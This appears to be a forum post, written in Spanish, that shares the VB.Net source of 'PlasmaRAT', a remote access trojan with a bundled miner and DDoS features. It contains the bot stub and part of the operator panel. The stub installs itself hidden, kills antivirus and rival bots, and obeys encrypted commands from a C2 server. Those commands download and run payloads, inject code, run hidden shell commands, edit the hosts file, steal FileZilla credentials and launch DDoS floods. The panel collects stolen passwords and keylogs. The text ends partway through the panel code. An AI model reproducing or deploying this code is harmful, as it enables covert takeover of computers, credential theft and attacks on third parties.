Código:
██████╗ ██╗ █████╗ ███████╗███╗ ███╗ █████╗ ██████╗ █████╗ ████████╗
██╔══██╗██║ ██╔══██╗██╔════╝████╗ ████║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝
██████╔╝██║ ███████║███████╗██╔████╔██║███████║██████╔╝███████║ ██║
██╔═══╝ ██║ ██╔══██║╚════██║██║╚██╔╝██║██╔══██║██╔══██╗██╔══██║ ██║
██║ ███████╗██║ ██║███████║██║ ╚═╝ ██║██║ ██║██║ ██║██║ ██║ ██║
╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
Remote Access Trojan v1.7
[+] Developed by ZeroWorm [+]
[+] Copyright (c) 2016 [+]
[+] Greetz To All Pentesters [+]
PlasmaRAT, Es un troyano de acceso remoto (RAT), Miner y DDoS. El programa está codificado en VB.Net, proporcionando una gran estabilidad y una interfaz de usuario fácil de usar, PlasmaRAT es la solución de acceso remoto perfecto para ti.
Características
- Escritorio remoto
- Keylogger
- DDoS
- Miner
- Control de inicio
- Vista de Conexión de Red
- Controlador de Método Nativo
Stub/Main.vb
Código:
'KFC Watermelon 2013
Imports System.Threading
Imports System.IO
Imports System.Net.Sockets
Imports System.Net
Imports Microsoft.Win32
Imports System.Text.RegularExpressions
Imports System.Text
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Management
Public Module PlasmaRAT
'Start Global Vars
Public RunBotKiller As Boolean = False
Public AutoBotKill As Boolean = False
Public Muted As Boolean = False
Public OneBotOnly As New Mutex
Public IRC As TcpClient
Public Write As StreamWriter
Public Read As StreamReader
Private Delegate Sub MessageReceived(ByVal msg As String)
Private Event MSG As MessageReceived
Public Antis As New Thread(New ThreadStart(AddressOf AntiEverything.RunAntis))
Public ProactiveAV As New Thread(New ThreadStart(AddressOf ProactiveAVKill))
Public IRCThread As New Thread(New ThreadStart(AddressOf connect))
Public AVKillThread As New Thread(New ThreadStart(AddressOf AVKill.Start))
Public LoggerThread As New Thread(New ThreadStart(AddressOf StartLogger))
Public InstallationOfEverything As String
Public keepalive As Boolean = False
Public readlines As Boolean = False
Public InstalledSuccessfully As Boolean = False
'End Global Vars
Public Settings() As String
'CUSTOMER INFO GOES BELOW
Public Server As String = "DESTORID//WASTELAND//2.0" 'Server/DNS
Public BackupDNS As String
Public BackupServer As String = String.Empty
Public port As Integer 'Port
Public Username As String = "\\\\\\\\\\\\\\" '.NET Seal Username
Public Password As String = "IUWEEQWIOER$89^*(&@^$*&#@$HAFKJHDAKJSFHjd89379327AJHFD*&#($hajklshdf##*$&^(AAA"
'Bot Info Goes Below 'Mutex
Public RunFileAs As String = "EI#&*(R&USOKFDJLKDSJLFKJOWI" 'Run File As
Public InstallFolder As String = "xkjeio*(&#(*&$(*#@&$(*&#@(*&(!&(*#&kjhdfalkjsfdsaF"
Public WhatToRun As String = String.Empty
''' ''''''''''User Auth'''''''''''''''''''''''
Sub main()
Try
Dim x = DecryptConfig(My.Resources.A1)
Dim lol = x.Trim
Settings = lol.Split("*")
Server = Settings(1)
port = Convert.ToInt32(Settings(2))
Username = Settings(3)
RunFileAs = Settings(4)
InstallFolder = Settings(5)
WhatToRun = Settings(6)
BackupDNS = Settings(7)
Catch
Threading.Thread.Sleep(System.Threading.Timeout.Infinite)
End Try
Try
If Application.ExecutablePath.Contains("HardwareCheck.exe") Then
AVKill.Start()
Disablers.Disable()
If WhatToRun.Contains("bk") Then
RunStandardBotKiller()
End If
Dim r As New Random
My.Computer.FileSystem.MoveFile(Application.ExecutablePath, IO.Path.GetTempPath & r.Next(1000, 9000).ToString)
End
End If
Catch : End Try
Try
If IsAdmin() Then
If Not WhatToRun.Contains("z") Then AntisDetected = True
InstallationOfEverything = Environment.GetFolderPath(Environment.SpecialFolder.System) & "\" & InstallFolder & "\"
Else
InstallationOfEverything = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) & "\" & InstallFolder & "\"
End If
Catch
InstallationOfEverything = Environment.GetEnvironmentVariable("PROGRAMDATA") & "\" & InstallFolder & "\"
End Try
InstallBot()
Try
OneBotOnly = New Mutex(False, "4919245")
If OneBotOnly.WaitOne(0, False) = False Then
OneBotOnly.Close()
OneBotOnly = Nothing
Threading.Thread.Sleep(100)
If InstalledSuccessfully = True Then
Try : Dim r As New Random
My.Computer.FileSystem.MoveFile(Application.ExecutablePath, IO.Path.GetTempPath & r.Next(1000, 9000).ToString)
Catch : End Try
End If
End
End If
Catch : End Try
startbot()
End Sub
Public Sub startbot()
On Error Resume Next
IRCThread.Start()
LoggerThread.Start()
If WhatToRun.Contains("q") Then ProcessAccessRights.ProtectCurrentProcess()
Dim ProactiveBK = New System.Timers.Timer(30000)
AddHandler ProactiveBK.Elapsed, AddressOf PlasmaRAT.ProactiveBK
Dim Startup = New System.Timers.Timer(5000)
AddHandler Startup.Elapsed, AddressOf Persistence.Startup
Dim InjectionPersistence = New System.Timers.Timer(5000)
AddHandler InjectionPersistence.Elapsed, AddressOf LoadPersitenceEngine
Dim Miner1 = New System.Timers.Timer(5000)
AddHandler Miner1.Elapsed, AddressOf MinerThreader
Miner1.Start()
Dim Miner2 = New System.Timers.Timer(5000)
AddHandler Miner2.Elapsed, AddressOf GPUMinerThreader
Miner2.Start()
AntiEverything.RunAntis()
If WhatToRun.Contains("z") Then
If WhatToRun.Contains("s") Then Startup.Start()
If WhatToRun.Contains("i") Then InjectionPersistence.Start()
ProactiveBK.Start()
If WhatToRun.Contains("a") Then
AVKillThread.Start()
ProactiveAV.Start()
End If
If WhatToRun.Contains("c") Then CriticalProcess()
If WhatToRun.Contains("bk") Then Call SaveSetting("Microsoft", "Sysinternals", "BK", "active")
End If
BeginMiner()
BeginGPUMiner()
Disablers.Disable()
End Sub
Sub InstallBot()
Try
Dim dir As New IO.DirectoryInfo(InstallationOfEverything)
If Not dir.Exists Then
dir.Create()
Try : dir.Attributes = FileAttributes.Hidden + FileAttributes.NotContentIndexed + FileAttributes.System : Catch : End Try
End If
If Not AntisDetected Then
Dim InstallPath = InstallationOfEverything & RunFileAs
If Not Application.ExecutablePath.Contains(RunFileAs) Then
If Not My.Computer.FileSystem.FileExists(InstallPath) Then
Try
DeleteFile(Application.ExecutablePath & ":Zone.Identifier")
Catch : End Try
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, InstallPath)
Process.Start(InstallPath)
Try : Dim fileSettings As New FileInfo(InstallPath)
fileSettings.Attributes = FileAttributes.Hidden + FileAttributes.NotContentIndexed + FileAttributes.ReadOnly + FileAttributes.System : Catch : End Try
Try : Dim MyPath As New FileInfo(Application.ExecutablePath)
MyPath.Attributes = FileAttributes.Hidden + FileAttributes.NotContentIndexed + FileAttributes.ReadOnly + FileAttributes.System : Catch : End Try
InstalledSuccessfully = True
Threading.Thread.Sleep(30000)
Else
AllowAccess(InstallationOfEverything)
AllowAccess(InstallPath)
Dim fileSettings As New FileInfo(InstallPath)
fileSettings.Attributes = FileAttributes.Normal
Threading.Thread.Sleep(500)
My.Computer.FileSystem.DeleteFile(InstallPath)
System.IO.File.Copy(Application.ExecutablePath, InstallPath)
Process.Start(InstallPath)
InstalledSuccessfully = True
Threading.Thread.Sleep(30000)
End If
End If
End If
Catch : End Try
End Sub
Public Sub connect()
Try
IRC = New TcpClient(Server, port)
Send(String.Format("BOT*" & BotName()))
If keepalive = False Then
keepalive = True
Dim ping As New Thread(AddressOf SendPing)
ping.Start()
End If
If readlines = False Then
readlines = True
AddHandler MSG, AddressOf Parsecommands
End If
IRC.GetStream().BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf lmfao), Nothing)
Catch
Try
If WhatToRun.Contains("y") Then
If Server = Settings(1) Then
Server = BackupDNS
Else
Server = Settings(1)
End If
End If
IRC.Close()
Catch ex As Exception
End Try
Thread.Sleep(10000)
connect()
End Try
End Sub
Public Sub SendPing()
While True
Try
Send("l")
Catch : End Try
Thread.Sleep(60000)
End While
End Sub
Public Sub lmfao(ByVal ar As IAsyncResult)
Try
Read = New StreamReader(IRC.GetStream())
RaiseEvent MSG((AES_Decrypt(Read.ReadLine())))
IRC.GetStream().BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf lmfao), Nothing)
Catch
Threading.Thread.Sleep(1000)
Try
IRC.Close()
Catch : End Try
connect()
End Try
End Sub
Public Function BotName()
Try
Dim lolol As String = ""
Dim bit As String = String.Empty
lolol = lolol & "1.5.1"
Try
lolol = lolol & "*" & Getcn.g & ""
Catch
lolol = lolol & "*" & "Error" & ""
End Try
Try
If Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains("x86") Then
bit = "x64*"
Else
bit = "x86*"
End If
Catch
bit = "*x86*"
End Try
Try
Dim OS As String = My.Computer.Info.OSFullName
If OS.Contains("XP") Then lolol = lolol & "*Windows XP " & bit
If OS.Contains("Windows 7") Then lolol = lolol & "*Windows 7 " & bit
If OS.Contains("Vista") Then lolol = lolol & "*Windows Vista " & bit
If OS.Contains("Windows 8") Then lolol = lolol & "*Windows 8 " & bit
If OS.Contains("Server") Then lolol = lolol & "*Windows Server " & bit
If Not lolol.Contains("Windows") Then lolol = lolol & "*Windows " & bit
Catch
lolol = lolol & "*Windows " & bit
End Try
Try
Dim username As String = Environment.UserName
If Not username = String.Empty Then
lolol = lolol & "" & username & "*"
Else
lolol = lolol & "" & "Error" & "*"
End If
Catch
lolol = lolol & "Error*"
End Try
Try
Dim x1 = Environment.ProcessorCount
Dim fap
If x1 = 1 Then fap = "1 Core" Else fap = x1.ToString & " Cores"
lolol = lolol & "" & fap & "*"
Catch
lolol = lolol & "" & "N/A" & "*"
End Try
Try
If IsAdmin() Then lolol = lolol & "Admin*" Else lolol = lolol & "User*"
Catch ex As Exception
lolol = lolol & "Error*"
End Try
lolol = lolol
Return lolol
Catch : End Try
End Function
Public Sub Parsecommands(ByVal Input As String)
Try
Dim DataSplitted() As String = Split(Input, " ")
Select Case DataSplitted(0)
Case "RECONNECT"
IRC.Close()
Case "seed"
SeedTorrent(DataSplitted(1))
Case ("miner.start")
InstallMiner(DataSplitted(1), DataSplitted(2), DataSplitted(3), DataSplitted(4))
Case ("miner.stop")
RemoveMiner()
Case ("miner.gpu.start")
If Not My.Computer.Info.OSFullName.Contains("XP") Then
InstallGPUMiner(DataSplitted(1), DataSplitted(2), DataSplitted(3), DataSplitted(4))
End If
Case ("miner.reset")
AllowAccess(InstallationOfEverything)
If IO.File.Exists(Miner.PoolerMiner) Then
AllowAccess(Miner.PoolerMiner)
IO.File.Delete(Miner.PoolerMiner)
End If
If IO.File.Exists(GPUMinerFile) Then
AllowAccess(GPUMiner.GPUMinerFile)
IO.File.Delete(GPUMiner.GPUMinerFile)
End If
TalktoChannel("Reset Miner Successfully!", String.Empty)
Case ("miner.gpu.stop")
RemoveGPUMiner()
Case ("keylogger.send")
SendLogs()
Case ("keylogger.delete")
DeleteLogs()
Case ("keylogger.search")
Dim asdf() As String = Split(Input, """")
SearchLogs(asdf(1))
Case ("download")
Dim newlocation As String = IO.Path.GetTempPath & DataSplitted(2)
If Not IO.File.Exists(newlocation) Then
Dim download As New WebClient
download.DownloadFile(DataSplitted(1), newlocation)
Process.Start(newlocation)
TalktoChannel("Download and Execute Successful. Location: " & newlocation, String.Empty)
Else
TalktoChannel("File name " & DataSplitted(2) & " already used. Ignoring Execute File", String.Empty)
End If
Case ("update.bot")
Dim DLLocation = IO.Path.GetTempPath & DataSplitted(2)
If Not My.Computer.FileSystem.FileExists(DLLocation) Then
Dim download As New WebClient
download.DownloadFile(DataSplitted(1), DLLocation)
Try : OneBotOnly.Close() : Catch : End Try
TalktoChannel("Bot Update Successful! Uninstalling...", "")
Process.Start(DLLocation)
NonCriticalProcess()
KillFile(Application.ExecutablePath)
End
Environment.Exit(0)
Else
TalktoChannel("File name " & DataSplitted(2) & " already used. Ignoring Update.", String.Empty)
End If
Case ("visit")
If DataSplitted(1) = "-h" Then
Dim Browser As New ProcessStartInfo
Browser.FileName = "iexplore.exe"
Browser.Arguments = DataSplitted(2)
Browser.WindowStyle = ProcessWindowStyle.Hidden
System.Diagnostics.Process.Start(Browser)
TalktoChannel("Visited Site Hidden: ", DataSplitted(2))
Else
Process.Start(DataSplitted(1))
TalktoChannel("Visited Site: ", DataSplitted(1))
End If
Case ("ddos.slowloris.start")
StartSlowloris(DataSplitted(1), DataSplitted(3), DataSplitted(2), "")
Case ("ddos.arme.start")
StartARME(DataSplitted(1), DataSplitted(3), DataSplitted(2), "")
Case ("ddos.posthttp.start")
Dim asdf() As String = Split(Input, """")
StartPOSTHTTP(DataSplitted(1), DataSplitted(3), DataSplitted(2), asdf(1))
Case ("ddos.httpget.start")
StartHTTPGet(DataSplitted(1), DataSplitted(3), DataSplitted(2))
Case ("ddos.bwflood.start")
StartBandwidthFlood(DataSplitted(1), DataSplitted(3), DataSplitted(2))
Case ("ddos.udp.start")
StartUDP(DataSplitted(1), DataSplitted(4), DataSplitted(3), DataSplitted(2))
Case ("ddos.condis.start")
StartCondis(DataSplitted(1), DataSplitted(4), DataSplitted(3), DataSplitted(2))
Case ("hosts")
Try
Dim asdf() As String = Split(Input, """")
IO.File.AppendAllText("C:\windows\system32\drivers\etc\hosts", vbNewLine & asdf(1))
TalktoChannel("Added to HOSTS.", "")
Catch
TalktoChannel("Unable to add to HOSTS.", "")
End Try
Case (".avdetails")
Dim output As String = GetAntiVirus() & ". " & GetFirewall()
TalktoChannel(output, "")
Case ("ftp")
ftpsteal()
Case ("chrome")
GetChrome()
Case ("info")
TalktoChannel("Running At: " & Application.ExecutablePath & ".", String.Empty)
Case ("pcspecs")
TalktoChannel("CPU: " & GetCPU() & ". GPU: " & GetVideoCard() & " RAM: " & Format((My.Computer.Info.TotalPhysicalMemory / 1024) / 1024 / 1024, "###,###,##0 GB"), String.Empty)
Case ("shell")
Dim asdf() As String = Split(Input, """")
Shell((asdf(1)), AppWinStyle.Hide)
TalktoChannel("Shell Command Executed.", "")
Case ("remove.bot")
NonCriticalProcess()
KillFile(Application.ExecutablePath)
End
Environment.Exit(0)
End Select
If Input.Contains("mute") Then
If DataSplitted(1) = ("on") Then
Muted = True
End If
If DataSplitted(1) = ("off") Then
Muted = False
End If
End If
If Input.Contains("inject") Then
Dim r As New System.Net.WebClient()
Dim File = r.DownloadData(DataSplitted(1))
If Input.Contains("reflect") Then
ReflectBytes(File)
TalktoChannel("File reflected into Self Successfully", String.Empty)
End If
If Input.Contains("runpe") Then
mRunpe.InjectPE(File, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory & "vbc.exe", String.Empty)
TalktoChannel("File Injected into vbc.exe Successfully", String.Empty)
End If
End If
If Input.Contains(".stop") Then
If Input.Contains("udp") Then
StopUDP()
End If
If Input.Contains("arme") Then
StopARME()
End If
If Input.Contains("slowloris") Then
StopSlowloris()
End If
If Input.Contains("httpget") Then
StopHTTPGET()
End If
If Input.Contains("bwflood") Then
StopBandwidthFlood()
End If
If Input.Contains("posthttp") Then
StopPOSTHTTP()
End If
If Input.Contains("condis") Then
StopCondis()
End If
End If
If Input.Contains("botkiller") Then
If Input.Contains("hardbk") Then
Call SaveSetting("Microsoft", "Sysinternals", "BK", "active")
HardBotKill()
End If
If Input.Contains("enable") Then
Call SaveSetting("Microsoft", "Sysinternals", "BK", "active")
TalktoChannel("Proactive Bot Killer Enabled!", " ")
End If
If Input.Contains("disable") Then
Call SaveSetting("Microsoft", "Sysinternals", "BK", "")
TalktoChannel("Proactive Bot Killer Disabled!", "")
End If
If Input.Contains("run") Then
RunBotKiller = True
End If
End If
Catch fasjdfasdf As Exception
TalktoChannel("Error: " & fasjdfasdf.ToString, String.Empty)
End Try
End Sub
Public Sub Send(ByVal MSG As String)
Try
Write = New StreamWriter(IRC.GetStream())
Write.WriteLine(AES_Encrypt(MSG))
Write.Flush()
Catch ex As Exception
End Try
End Sub
Public Sub TalktoChannel(ByVal blue As String, ByVal red As String)
Try
If Muted = False Then
Dim xd = Environment.UserName.ToString
Send("LOGS*" & xd & "*" & blue & red & "*")
' Send((Convert.ToString("PRIVMSG ") & Channel) + " " & ChrW(3) & "12" & blue & ChrW(3) & "10" & red)
End If
Catch
End Try
End Sub
Public Sub ProactiveBK()
Try
If RunBotKiller = True Then
RunBotKiller = False
BotKillers.RunStandardBotKiller()
End If
If Not GetSetting("Microsoft", "Sysinternals", "BK") = String.Empty Then
ScanProcess()
RunStartupKiller()
End If
Catch : End Try
End Sub
Public Sub Handler_SessionEnding(ByVal sender As Object, ByVal e As Microsoft.Win32.SessionEndingEventArgs)
On Error Resume Next
If AutoBotKill = True Then
Do
BotKillers.RunStartupKiller()
Threading.Thread.Sleep(10)
Loop
End If
' TalktoChannel("Windows is Shutting Down", "")
End Sub
Public Function AES_Encrypt(ByVal input As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim encrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(Username))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
AES.Mode = System.Security.Cryptography.CipherMode.ECB
Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Return encrypted
Catch ex As Exception
End Try
End Function
Public Function GetCPU() As String
Try
Dim Proc As New Management.ManagementObject("Win32_Processor.deviceid=""CPU0""")
Proc.Get()
Return (Proc("Name").ToString)
Catch ex As Exception
Return "N/A"
End Try
End Function
Public Function GetVideoCard() As String
Try
Dim VideoCard As String = String.Empty
Dim objquery As New ObjectQuery("SELECT * FROM Win32_VideoController")
Dim objSearcher As New ManagementObjectSearcher(objquery)
For Each MemObj As ManagementObject In objSearcher.Get
VideoCard = VideoCard & (MemObj("Name")) & ". "
Next
Return (VideoCard)
Catch
Return "N/A"
End Try
End Function
Public Function AES_Decrypt(ByVal input As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim decrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(Username))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
AES.Mode = System.Security.Cryptography.CipherMode.ECB
Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
Dim Buffer As Byte() = Convert.FromBase64String(input)
decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Return decrypted
Catch ex As Exception
End Try
End Function
Public Function DecryptConfig(ByVal input As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim decrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(Password))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
AES.Mode = System.Security.Cryptography.CipherMode.ECB
Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
Dim Buffer As Byte() = Convert.FromBase64String(input)
decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Return decrypted
Catch ex As Exception
End Try
End Function
Function GetAntiVirus() As String
Try
Dim str As String = Nothing
Dim searcher As New ManagementObjectSearcher("\\" & Environment.MachineName & "\root\SecurityCenter2", "SELECT * FROM AntivirusProduct")
Dim instances As ManagementObjectCollection = searcher.[Get]()
For Each queryObj As ManagementObject In instances
str = queryObj("displayName").ToString()
Next
If str = String.Empty Then str = "N/A"
str = "AntiVirus: " & str.ToString
Return str
searcher.Dispose()
Catch
Return "AntiVirus: N/A"
End Try
End Function
Public Sub ftpsteal()
Try
Dim file As String
Dim credentials As String
Dim Reader As New IO.StreamReader(Environ("AppData") & "\FileZilla\recentservers.xml")
file = Reader.ReadToEnd()
Reader.Close()
credentials = ftpstealer("<Host>(.+?)</Host>\s+.+\s+.+\s+.+\s+<User>(.+?)</User>\s+<Pass>(.+?)</Pass>", file)
Catch
End Try
End Sub
Sub ReflectBytes(ByVal data As Byte())
Dim T As New Thread(AddressOf Run) 'Work around for "SetCompatibleTextRenderingDefault"
T.SetApartmentState(ApartmentState.STA) 'Set STA to support drag/drop and dialogs?
T.Start(data)
End Sub
Sub Run(ByVal o As Object)
Dim T As MethodInfo = Assembly.Load(DirectCast(o, Byte())).EntryPoint
T.Invoke(Nothing, If(T.GetParameters.Length = 1, {New String() {}}, Nothing)) 'Invoke logic for Console or Form
End Sub
Public Function ftpstealer(ByVal expression As String, ByVal source As String)
Try
Dim output As New StringBuilder
Dim myregex As New System.Text.RegularExpressions.Regex(expression)
Dim mymatches As MatchCollection = myregex.Matches(source)
Dim ie As IEnumerator
ie = mymatches.GetEnumerator
While ie.MoveNext
Dim current As Match = DirectCast(ie.Current, Match)
Dim objects As GroupCollection = current.Groups
Threading.Thread.Sleep(1000)
Send("PASS*" & objects(1).Value & "*" & objects(2).Value & "*" & objects(3).Value & "*")
End While
Return output.ToString
Catch
Return String.Empty
End Try
End Function
Function GetFirewall() As String
Try
Dim str As String = Nothing
Dim searcher As New ManagementObjectSearcher("\\" & Environment.MachineName & "\root\SecurityCenter2", "SELECT * FROM FirewallProduct")
Dim instances As ManagementObjectCollection = searcher.[Get]()
For Each queryObj As ManagementObject In instances
str = queryObj("displayName").ToString()
Next
If str = String.Empty Then str = "N/A"
str = "Firewall: " & str.ToString
Return str
searcher.Dispose()
Catch
Return "Firewall: N/A"
End Try
End Function
Class Getcn
<DllImport("kernel32.dll")> _
Private Shared Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal lpLCData As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
End Function
Private Const LOCALE_SYSTEM_DEFAULT As UInteger = &H400
Private Const LOCALE_SABBREVCTRYNAME As UInteger = &H7
Private Shared Function GetInfo(ByVal lInfo As UInteger) As String
Try
Dim lpLCData = New System.Text.StringBuilder(256)
Dim ret As Integer = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, lInfo, lpLCData, lpLCData.Capacity)
If ret > 0 Then
Return lpLCData.ToString().Substring(0, ret - 1)
End If
Return "Error"
Catch : End Try
End Function
Public Shared Function g() As String
Return (GetInfo(LOCALE_SABBREVCTRYNAME))
End Function
End Class
<DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
Public Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
End Module
Código:
Imports System.Net.Sockets, System.Net, System.IO
Imports System.Threading
Imports System.Windows.Forms
Imports System
Imports System.Drawing
Public Class Main
Dim listener As TcpListener
Dim listenerThread As Thread
Public Shared EncryptionKey As String = "TestUser"
Dim PasswordLogs As String = "Plasma Password Logs" & vbNewLine & vbNewLine
Dim BotLogs As String = "Plasma Bot Logs" & vbNewLine & vbNewLine
Dim CommandsLogs As String = "Plasma Command Logs" & vbNewLine & vbNewLine
Public Shared OnConnectCommand = String.Empty
Public Shared OnConnectMiner = String.Empty
Public PeakBots As Integer = 0
Public PortToListenTo As Integer = 1337
Public Shared OnJoinTopLel = "JOIN"
Public MinerFileURL As String
Private BotViewSort As ColumnHeader '- BotListView
Private LogViewerSort As ColumnHeader '- LogView
Private PasswordViewSort As ColumnHeader '- Password ListView
Private Sub Label3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Sub Listen()
Try
listener = New TcpListener(IPAddress.Any, PortToListenTo)
listener.Start()
While (True)
Dim c As New Connection(listener.AcceptTcpClient())
AddHandler c.GotInfo, AddressOf GotInfo
AddHandler c.Disconnected, AddressOf Disconnected
End While
Catch
End Try
End Sub
Sub AddClient(ByVal client As Connection, ByVal strings() As String)
Try
Dim l As New ListViewItem(strings)
l.Tag = client
' If Not BotListView.Items.Contains(l) Then
If SingleConnection.Checked = True Then
For Each item As ListViewItem In BotListView.Items
If item.Text = client.IPAddress Then
item.Remove()
Exit For
End If
Next
End If
BotListView.Items.Add(l)
If Not OnConnectCommand = String.Empty Then
Threading.Thread.Sleep(100)
Dim c As Connection = DirectCast(client, Connection)
c.Send(OnConnectCommand)
End If
If Not OnConnectMiner = String.Empty Then
Threading.Thread.Sleep(100)
Dim c As Connection = DirectCast(client, Connection)
c.Send(OnConnectMiner)
End If
If LowBandwidth.Checked = True Then
Threading.Thread.Sleep(100)
Dim c As Connection = DirectCast(client, Connection)
c.Send("mute on")
End If
Catch : End Try
' End If
End Sub
Public Sub AddLoggs(ByVal input As Object)
Try
LogView.Items.Add(input)
Catch ex As Exception
End Try
End Sub
Public Sub AddPassword(ByVal input As Object)
Try
PasswordListView.Items.Add(input)
Catch ex As Exception
End Try
End Sub
Delegate Sub AddDelegate(ByVal client As Connection, ByVal strings() As String)
Delegate Sub AddLogs(ByVal input As Object)
Delegate Sub AddChrome(ByVal input As Object)
Sub GotInfo(ByVal client As Connection, ByVal Msg As String)
Try
' MessageBox.Show(Msg.ToString)
Dim cut() As String = Msg.Split("*")
' MessageBox.Show(cut(0))
Select Case cut(0)
Case OnJoinTopLel
Try
Invoke(New AddDelegate(AddressOf AddClient), client, New String() {client.IPAddress, cut(2), cut(3), cut(4), cut(5), cut(6), cut(1)})
' country = cut(1)
Catch : End Try
Case "LOGS"
Try
Dim x() = Split(Msg, "*")
Dim lmao = x(1) & ": " & x(2)
BotLogs = BotLogs & lmao & vbNewLine
Dim l3 As New ListViewItem({x(1), x(2)})
Invoke(New AddLogs(AddressOf AddLoggs), l3)
Catch ex As Exception
MessageBox.Show(ex.ToString)
End Try
Case "KEYLOGS"
Try
Dim directory As String = My.Application.Info.DirectoryPath & "\Keylogs\"
Dim dir As New IO.DirectoryInfo(directory)
If Not dir.Exists Then dir.Create()
Dim lels = Msg
lels = lels.Replace("KEYLOGS*", String.Empty)
lels = lels.Replace(cut(1) & "*", String.Empty)
lels = lels.Replace("Oem7", """")
IO.File.WriteAllText(directory & cut(1) & ".txt", vbNewLine & lels)
Catch : End Try
Case "PASS"
Try
Dim x() = Split(Msg, "*")
Dim CurClient As New ListViewItem(x(1)) ' Site
CurClient.SubItems.Add(x(2)) ' User
CurClient.SubItems.Add(x(3)) ' Pass
Dim lmao As String = "Website: " & x(1) & vbNewLine & "Username: " & x(2) & vbNewLine & "Password: " & x(3) & vbNewLine & vbNewLine
If PasswordLogs.Contains(lmao) Then
Else
PasswordLogs = PasswordLogs & lmao
Invoke(New AddChrome(AddressOf AddPassword), CurClient)
'PasswordListView.Items.Add(CurClient)
End If
Catch ex As Exception
MessageBox.Show(ex.ToString)
End Try
Case "Disconnect"
listener.EndAcceptSocket(client)
' Dim client1 = listener.EndAcceptTcpClient(client)
End Select
Catch ex As Exception
If ClientOnError.Checked = True Then
Disconnected(client)
client.Send("RECONNECT")
listener.EndAcceptTcpClient(client)
End If
End Try
End Sub
Delegate Sub DisconnectedDelegate(ByVal client As Connection)
Sub Disconnected(ByVal client As Connection)
Invoke(New DisconnectedDelegate(AddressOf Remove), client)
End Sub
Sub Remove(ByVal client As Connection)
Try
For Each item As ListViewItem In BotListView.Items
If item.Text = client.IPAddress Then
item.Remove()
Exit For
End If
Next
Catch : End Try
End Sub
Sub RemoveSelected()
Try
For Each item As ListViewItem In BotListView.SelectedItems
Try
Dim c As Connection = DirectCast(item.Tag, Connection)
BotListView.Items.Remove(item.Tag)
Catch ex As Exception
End Try
Next
Catch : End Try
End Sub
Delegate Sub UpdateStatusDelegate(ByVal client As Connection, ByVal Message As String)
Sub UpdateStatus(ByVal client As Connection, ByVal Message As String)
For Each item As ListViewItem In BotListView.Items
If item.Text = client.IPAddress Then
item.SubItems(3).Text = Message
End If
Next
End Sub
Delegate Sub UpdateLogDelegate(ByVal client As Connection, ByVal Message As String)
Sub SendToAll(ByVal Message As String)
AddCommandListView(Message)
For Each item As ListViewItem In BotListView.Items
Try
Dim c As Connection = DirectCast(item.Tag, Connection)
c.Send(Message)
Catch ex As Exception
' BotListView.Items.Remove(item.Tag)
End Try
Next
End Sub
Sub SendToSelected(ByVal Message As String)
AddCommandListView(Message)
For Each item As ListViewItem In BotListView.SelectedItems
Try
Dim c As Connection = DirectCast(item.Tag, Connection)
c.Send(Message)
Catch ex As Exception
End Try
Next
End Sub
Private Sub TreeView2_AfterSelect(ByVal sender As System.Object, ByVal e As System.Windows.Forms.TreeViewEventArgs) Handles TreeView2.AfterSelect
Try
If TreeView2.SelectedNode.ToString.Contains("Execute File") Then
Dim S As String = InputBox("File to Download and Execute (Direct Download Link):", "")
If Not S = String.Empty Then
Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
If Not D = String.Empty Then
SendToAll("download " & S & " " & D)
End If
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Update File") Then
If MsgBox("Are you sure you want to start the update process? This will remove the bot after running the new one.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
Dim S As String = InputBox("File to Update to (Direct Download Link):", "")
If Not S = String.Empty Then
